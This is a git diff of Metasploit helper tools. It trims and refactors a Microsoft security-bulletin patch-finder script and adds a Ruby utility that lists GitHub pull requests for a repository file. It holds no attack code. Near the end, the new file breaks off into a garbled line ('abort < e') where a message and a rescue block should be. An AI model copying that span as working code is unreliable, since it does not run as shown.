- def search_by_keyword(keyword)
- j = search(keyword)
- j['b'].collect { |e| e['Id']}.map{ |e| e.downcase }
- end
-
-
- # Returns the product list that Technet currently supports for searching.
- #
- # @return [Array]
- def get_product_dropdown_list
- @product_dropdown_list ||= lambda {
- list = []
-
- page = ::Nokogiri::HTML(firstpage)
- page.search('//div[@class="sb-search"]//select[@id="productDropdown"]//option').each do |product|
- option_value = product.attributes['value'].value
- option_text = product.text
- next if option_value == '-1' # This is the ALL option
- list << { option_value: option_value, option_text: option_text }
- end
-
- list
- }.call
- end
-
- attr_reader :firstpage
- end
-
- class GoogleMsbSearch
- include MicrosoftPatchFinder::Helper
-
- # API Doc:
- # https://developers.google.com/custom-search/json-api/v1/using_rest
- # Known bug:
- # * Always gets 20 MSB results. Weird.
-
- def initialize(opts={})
- @api_key = opts[:api_key]
- @search_engine_id = opts[:search_engine_id]
- end
-
-
- # Returns the MSB numbers associated with the keyword.
- #
- # @param keyword [String] The keyword to search for in an advisory.
- # @return [Array] MSB numbers
- def find_msb_numbers(keyword)
- msb_numbers = []
- next_starting_index = 1
-
- begin
- while
- results = search(keyword: keyword, starting_index: next_starting_index)
- items = results['items']
- items.each do |item|
- title = item['title']
- msb = title.scan(/Microsoft Security Bulletin (MS\d\d\-\d\d\d)/).flatten.first
- if msb
- msb_numbers << msb.downcase
- end
- end
-
- next_starting_index = get_next_index(results)
- next_page = results['queries']['nextPage']
-
- # Google API Documentation:
- # https://developers.google.com/custom-search/json-api/v1/using_rest
- # "This role is not present if the current results are the last page.
- # Note: This API returns up to the first 100 results only."
- break if next_page.nil? || next_starting_index > 100
- end
- rescue RuntimeError => e
- print_error(e.message)
- return msb_numbers.uniq
- end
-
- msb_numbers.uniq
- end
-
-
- # Performs a search using Google API
- #
- # @param opts [Hash]
- # @options opts [String] :keyword The keyword to search
- # @return [Hash] JSON data
- def search(opts={})
- starting_index = opts[:starting_index]
-
- search_string = [
- opts[:keyword],
- 'intitle:"Microsoft Security Bulletin"',
- '-"Microsoft Security Bulletin Summary"'
- ].join(' ')
-
- opts = {
- 'method' => 'GET',
- 'uri' => '/customsearch/v1',
- 'vars_get' => {
- 'key' => api_key,
- 'cx' => search_engine_id,
- 'q' => search_string,
- 'start' => starting_index.to_s,
- 'num' => '10', # 10 is max
- 'c2coff' => '1' # 1 = Disabled, 0 = Enabled
- }
- }
-
- res = send_http_request(SiteInfo::GOOGLEAPIS, opts)
- results = parse_results(res)
- if starting_index == 1
- print_debug("Number of search results: #{get_total_results(results)}")
- end
-
- results
- end
-
-
- # Parse Google API search results
- #
- # @param res [Rex::Proto::Http::Response]
- # @raise [RuntimeError] If Google returns an error
- # @return [Hash]
- def parse_results(res)
- j = JSON.parse(res.body)
-
- if j['error']
- message = j['error']['errors'].first['message']
- reason = j['error']['errors'].first['reason']
- raise "Google Search failed. #{message} (#{reason})"
- end
-
- j
- end
-
-
- # Returns the total results.
- #
- # @param j [Hash] JSON data from Google.
- # @return [Fixnum]
- def get_total_results(j)
- j['queries']['request'].first['totalResults'].to_i
- end
-
-
- # Returns the next index.
- #
- # @param j [Hash] JSON data from Google.
- # @return [Fixnum]
- def get_next_index(j)
- j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0
- end
-
- # @!attribute api_key
- # @return [String] The Google API key
- attr_reader :api_key
-
- # @!attribute search_engine_id
- # @return [String] The Google Custom Search Engine ID
- attr_reader :search_engine_id
- end
-
- class OptsConsole
- def self.banner
- %Q|
- Usage: #{__FILE__} [options]
-
- The following example will download all IE update links:
- #{__FILE__} -q "Internet Explorer"
-
- Searching advisories via Technet:
- When you submit a query, the Technet search engine will first look it up from a product list,
- and then return all the advisories that include the keyword you are looking for. If there's
- no match from the product list, then the script will try a generic search. The generic method
- also means you can search by MSB, KB, or even the CVE number.
-
- Searching advisories via Google:
- Searching via Google requires an API key and an Search Engine ID from Google. To obtain these,
- make sure you have a Google account (such as Gmail), and then do the following:
- 1. Go to Google Developer's Console
- 1. Enable Custom Search API
- 2. Create a browser type credential. The credential is the API key.
- 2. Go to Custom Search
- 1. Create a new search engine
- 2. Under Sites to Search, set: technet.microsoft.com
- 3. In your search site, get the Search Engine ID under the Basics tab.
- By default, Google has a quota limit of 1000 queries per day. You can raise this limit with
- a fee.
-
- The way this tool uses Google to find advisories is the same as doing the following manually:
- [Query] site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary"
-
- Dryrun:
- If you'd like to double check on false positives, you can use the -d flag and manually verify
- the accuracy of the search results before actually collecting the download links.
-
- Download:
- The following trick demonstrates how you can automatically download the updates:
- ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt
-
- Patch Extraction:
- After downloading the patch, you can use the extract_msu.bat tool to automatically extract
- Microsoft patches.
- |
- end
-
- def self.get_parsed_options
- options = {}
-
- parser = OptionParser.new do |opt|
- opt.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '')
- opt.separator ''
- opt.separator 'Specific options:'
-
- opt.on('-q', '--query ', 'Find advisories that include this keyword') do |v|
- options[:keyword] = v
- end
-
- opt.on('-s', '--search-engine ', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v|
- case v.to_s
- when /^google$/i
- options[:search_engine] = :google
- when /^technet$/i
- options[:search_engine] = :technet
- else
- raise OptionParser::MissingArgument, "Invalid search engine: #{v}"
- end
- end
-
- opt.on('-r', '--regex ', '(Optional) Specify what type of links you want') do |v|
- options[:regex] = v
- end
-
- opt.on('--apikey ', '(Optional) Google API key. Set this if the search engine is Google') do |v|
- options[:google_api_key] = v
- end
-
- opt.on('--cx ', '(Optional) Google search engine ID. Set this if the search engine is Google') do |v|
- options[:google_search_engine_id] = v
- end
-
- opt.on('-d', '--dryrun', '(Optional) Perform a search, but do not fetch download links. Default: no') do |v|
- options[:dryrun] = true
- end
-
- opt.on_tail('-h', '--help', 'Show this message') do
- $stderr.puts opt
- exit
- end
- end
-
- parser.parse!
-
- if options.empty?
- raise OptionParser::MissingArgument, 'No options set, try -h for usage'
- elsif options[:keyword].nil? || options[:keyword].empty?
- raise OptionParser::MissingArgument, '-q is required'
- end
-
- unless options[:search_engine]
- options[:search_engine] = :technet
- end
-
- if options[:search_engine] == :google
- if options[:google_api_key].nil? || options[:google_search_engine_id].empty?
- raise OptionParser::MissingArgument, 'Search engine is Google, but no API key specified'
- elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty?
- raise OptionParser::MissingArgument, 'Search engine is Google, but no search engine ID specified'
- end
- end
-
- options
- end
- end
-
- class Driver
- include MicrosoftPatchFinder::Helper
-
- def initialize
- begin
- @args = MicrosoftPatchFinder::OptsConsole.get_parsed_options
- rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
- print_error(e.message)
+ opt.on_tail('-h', '--help', 'Show this message') do
+ $stderr.puts opt
exit
end
end
- # Returns download links.
- #
- # @param msb [String] MSB number.
- # @param regex [String] The regex pattern to use to collect specific download URLs.
- # @return [Array] Download links
- def get_download_links(msb, regex=nil)
- msft = MicrosoftPatchFinder::PatchLinkCollector.new
+ parser.parse!
- unless msft.is_valid_msb?(msb)
- print_error "Not a valid MSB format."
- print_error "Example of a correct one: ms15-100"
- return []
- end
-
- res = msft.download_advisory(msb)
-
- if !msft.has_advisory?(res)
- print_error "The advisory cannot be found"
- return []
- end
-
- links = msft.get_details_aspx(res)
- if links.length == 0
- print_error "Unable to find download.microsoft.com links. Please manually navigate to the page."
- return []
- else
- print_debug("Found #{links.length} affected products for this advisory.")
- end
-
- link_collector = []
-
- links.each do |link|
- download_page = msft.get_download_page(link)
- download_links = msft.get_download_links(download_page.body)
- if regex
- filtered_links = download_links.select { |l| Regexp.new(regex) === l }
- link_collector.concat(filtered_links)
- else
- link_collector.concat(download_links)
- end
- end
-
- link_collector
+ if options.empty?
+ fail OptionParser::MissingArgument, 'No options set, try -h for usage'
+ elsif options[:keyword].nil? || options[:keyword].empty?
+ fail OptionParser::MissingArgument, '-q is required'
end
- # Performs a search via Google
- #
- # @param keyword [String] The keyword to search
- # @param api_key [String] Google API key
- # @param cx [String] Google Search Engine Key
- # @return [Array] See MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers
- def google_search(keyword, api_key, cx)
- search = MicrosoftPatchFinder::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx)
- search.find_msb_numbers(keyword)
+ unless options[:search_engine]
+ options[:search_engine] = :technet
end
-
- # Performs a search via Technet
- #
- # @param keyword [String] The keyword to search
- # @return [Array] See MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers
- def technet_search(keyword)
- search = MicrosoftPatchFinder::TechnetMsbSearch.new
- search.find_msb_numbers(keyword)
- end
-
- def run
- links = []
- msb_numbers = []
- keyword = args[:keyword]
- regex = args[:regex] ? args[:regex] : nil
- api_key = args[:google_api_key]
- cx = args[:google_search_engine_id]
-
- case args[:search_engine]
- when :technet
- print_debug("Searching advisories that include #{keyword} via Technet")
- msb_numbers = technet_search(keyword)
- when :google
- print_debug("Searching advisories that include #{keyword} via Google")
- msb_numbers = google_search(keyword, api_key, cx)
- end
-
- print_debug("Advisories found (#{msb_numbers.length}): #{msb_numbers * ', '}") unless msb_numbers.empty?
-
- return if args[:dryrun]
-
- msb_numbers.each do |msb|
- print_debug("Finding download links for #{msb}")
- links.concat(get_download_links(msb, regex))
- end
-
- unless links.empty?
- print_status "Found these links:"
- print_line links * "\n"
- print_status "Total downloadable updates found: #{links.length}"
+ if options[:search_engine] == :google
+ if options[:google_api_key].nil? || options[:google_search_engine_id].empty?
+ fail OptionParser::MissingArgument, 'No API key set for Google'
+ elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty?
+ fail OptionParser::MissingArgument, 'No search engine ID set for Google'
end
end
- attr_reader :args
+ options
+ end
+
+ def initialize
+ @args = get_parsed_options
+ rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
+ print_error(e.message)
+ exit
+ end
+
+ def main
+ cli = PatchFinder::MSU.new(verbose: true)
+ links = cli.find_msu_download_links(args)
+ if args[:destdir]
+ print_status("Download links found: #{links.length}")
+ print_status('Downloading files, please wait...')
+ download_files(links, args[:destdir])
+ else
+ print_status('Download links found:')
+ print_line(links * "\n")
+ end
end
end
-
if __FILE__ == $PROGRAM_NAME
- mod = MicrosoftPatchFinder::Driver.new
- begin
- mod.run
- rescue Interrupt
- $stdout.puts
- $stdout.puts "Good bye"
- end
+ bin = PatchFinderBin.new
+ bin.main
end
-
-=begin
-TODO:
- * Make a gem
- * Make it generic in order to manage different kind of patches and providers
- * Multithreading
-=end
\ No newline at end of file
diff --git a/tools/modules/file_pull_requests.rb b/tools/modules/file_pull_requests.rb
new file mode 100755
index 0000000000..547561ff18
--- /dev/null
+++ b/tools/modules/file_pull_requests.rb
@@ -0,0 +1,251 @@
+#!/usr/bin/env ruby
+
+###
+#
+# This tool allows you to find all the pull requests for a particular file in the Metasploit
+# repository. It does not include commit history from SVN.
+#
+# Author: sinn3r
+#
+###
+
+require 'net/http'
+require 'optparse'
+
+begin
+ require 'octokit'
+ require 'nokogiri'
+rescue LoadError => e
+ gem = e.message.split.last
+ abort "#{gem} not installed: please run `gem install #{gem}'"
+end
+
+module FilePullRequestCollector
+
+ class Exception < RuntimeError; end
+
+ class PullRequestFinder
+
+ attr_accessor :git_client
+ attr_accessor :repository
+ attr_accessor :branch
+ attr_accessor :owner
+ attr_accessor :git_access_token
+
+ # Initializes parameters.
+ #
+ # @param api_key [String] Personal access token from Github.
+ # @return [void]
+ def initialize(api_key)
+ self.owner = 'rapid7'
+ self.repository = "#{owner}/metasploit-framework"
+ self.branch = 'master'
+ self.git_access_token = api_key
+ self.git_client = Octokit::Client.new(access_token: git_access_token)
+ end
+
+ # Returns the commit history of a file.
+ #
+ # @param path [String] A file path in the Metasploit repository.
+ # @return [Array] An array of commits.
+ # @raise [FilePullRequestCollector::Exception] No commits found. Probably the file path is wrong.
+ def get_commits_from_file(path)
+ commits = git_client.commits(repository, branch, path: path)
+ if commits.empty?
+ # Possibly the path is wrong.
+ raise FilePullRequestCollector::Exception, 'No commits found.'
+ end
+
+ commits
+ end
+
+ # Returns the author of a commit.
+ #
+ # @param commit [Sawyer::Resource] Commit.
+ # @return [String]
+ def get_author(commit)
+ if commit.author
+ return commit.author[:login].to_s
+ end
+
+ ''
+ end
+
+ # Checks if a author should be ignored or not.
+ #
+ # @param commit [Sawyer::Resource] Commit.
+ # @return [TrueClass] Author should be ignored
+ # @return [FalseClass] Author should not be ignored.
+ def is_author_blacklisted?(commit)
+ ['tabassassin'].include?(get_author(commit))
+ end
+
+ # Returns all found pull requests.
+ #
+ # @param commits [Array] Commits
+ # @return [Hash]
+ def get_pull_requests_from_commits(commits)
+ pull_requests = {}
+
+ commits.each do |commit|
+ next if is_author_blacklisted?(commit)
+
+ pr = get_pull_request_from_commit(commit)
+ unless pr.empty?
+ pull_requests[pr[:number]] = pr
+ end
+ end
+
+ pull_requests
+ end
+
+ # Returns the found pull request for a commit.
+ #
+ # @param commit [Sawyer::Resource] Commit
+ # @return [Hash]
+ def get_pull_request_from_commit(commit)
+ sha = commit.sha
+ url = URI.parse("https://github.com/#{repository}/branch_commits/#{sha}")
+ cli = Net::HTTP.new(url.host, url.port)
+ cli.use_ssl = true
+ req = Net::HTTP::Get.new(url.request_uri)
+ res = cli.request(req)
+ n = Nokogiri::HTML(res.body)
+ found_pr_link = n.at('li[@class="pull-request"]//a')
+
+ # If there is no PR associated with this commit, it's probably from the SVN days.
+ return {} unless found_pr_link
+
+ href = found_pr_link.attributes['href'].text
+ title = found_pr_link.attributes['title'].text
+
+ # Filter out all the pull requests that do not belong to rapid7.
+ # If this happens, it's probably because the PR was submitted to somebody's fork.
+ return {} unless /^\/#{owner}\// === href
+
+ { number: href.scan(/\d+$/).flatten.first, title: title }
+ end
+ end
+
+ class Client
+
+ attr_accessor :finder
+
+ # Initializes parameters.
+ #
+ # @param api_key [String]
+ # @return [void]
+ def initialize(api_key)
+ self.finder = PullRequestFinder.new(api_key)
+ end
+
+ # Prints all the found PRs for a file.
+ #
+ # @param file_name [String] The file to look up.
+ # @return [void]
+ def search(file_name)
+ commits = finder.get_commits_from_file(file_name)
+ pull_requests = finder.get_pull_requests_from_commits(commits)
+ puts "Pull request(s) associated with #{file_name}"
+ pull_requests.each_pair do |number, pr|
+ puts "##{number} - #{pr[:title]}"
+ end
+ end
+ end
+
+ class OptsParser
+
+ def self.banner
+ %Q|
+ This tool collects all the pull requests submitted to rapid7/metasploit-framework for a
+ particular file. It does not include history from SVN (what Metasploit used to use
+ before Git).
+
+ Usage: #{__FILE__} [options]
+
+ Usage Example:
+ #{__FILE__} -k KEY -f modules/exploits/windows/browser/ms13_069_caret.rb
+ or
+ export GITHUB_OAUTH_TOKEN=KEY
+ #{__FILE__} -f modules/exploits/windows/browser/ms13_069_caret.rb
+
+ How to obtain an API key (access token):
+ 1. Go to github.com.
+ 2. Go to Settings under your profile.
+ 3. Click on Personal Access Tokens
+ 4. Click on Generate new token
+ 5. Follow the steps on the screen to complete the process.
+
+ |
+ end
+
+ def self.parse(args)
+ options = {}
+
+ opts = OptionParser.new do |opts|
+ opts.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '')
+
+ opts.separator ""
+ opts.separator "Specific options:"
+
+ opts.on("-k", "-k ", "Github Access Token") do |v|
+ options[:api_key] = v
+ end
+
+ opts.on("-f", "--file ", "File name") do |v|
+ options[:file] = v
+ end
+
+ opts.separator ""
+ opts.separator "Common options:"
+
+ opts.on_tail("-h", "--help", "Show this message") do
+ puts opts
+ exit
+ end
+ end
+
+ begin
+ opts.parse!(args)
+ rescue OptionParser::InvalidOption
+ abort "Invalid option, try -h for usage"
+ end
+
+ if options.empty?
+ abort "No options specified, try -h for usage"
+ end
+
+ options
+ end
+ end
+
+end
+
+if __FILE__ == $PROGRAM_NAME
+ begin
+ opts = FilePullRequestCollector::OptsParser.parse(ARGV)
+ rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
+ abort "#{e.message} (please see -h)"
+ end
+
+ if !opts.has_key?(:api_key)
+ if !ENV.has_key?('GITHUB_OAUTH_TOKEN')
+ abort < e
+ abort e.message
+ rescue Interrupt
+ $stdout.puts
+ $stdout.puts "Good bye"
+ end
+end